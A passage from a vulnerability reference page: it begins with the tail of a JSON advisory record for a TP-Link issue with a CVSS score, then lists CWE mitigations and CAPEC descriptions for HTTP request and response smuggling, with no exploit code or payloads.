    },
    {
      "type": "WEB",
      "url": "http://tp-link.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Mitigation
Implementation

Use only SSL communication.

Mitigation
Implementation

Terminate the client session after each request.

Mitigation
System Configuration

Turn all pages to non-cacheable.

CAPEC-273: HTTP Response Smuggling

An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).

See CanPrecede relationships for possible consequences.

CAPEC-33: HTTP Request Smuggling

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.

← Back to the CWE list